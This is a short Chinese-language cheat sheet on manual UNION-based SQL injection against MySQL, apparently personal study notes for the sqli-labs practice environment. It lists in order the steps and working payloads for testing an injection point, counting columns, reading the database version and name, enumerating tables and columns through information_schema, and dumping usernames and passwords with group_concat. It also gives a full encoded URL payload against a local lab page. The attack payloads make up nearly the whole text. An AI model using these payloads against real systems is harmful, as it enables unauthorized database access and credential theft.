注入流程:
1、判断是否有注入点
and 1=1
2、拆解列名数量
order by 数字
3、报错、有回显
union
4、信息收集、version()判断数据库版本,mysql版本大于5.0 才有information_schema系统库。database()判断库名
version()
database()
5、知道库名,找表名,table_schema 是数据库的名字
information_schema.tables
table_name
6、知道表名,找字段名
information_schema.columns
column_name
7、最后找到name,password
union select 1,2,(select group_concat(username,0x3a,password)) from users
手工注入:
union select 1,version(),database() #查看版本,数据库
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #建议是把users字符转换成16进制,如下所示
http://localhost/sqli-labs-master/Less-2/index.php?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273
union select 1,2,(select group_concat(username,0x3a,password)) from users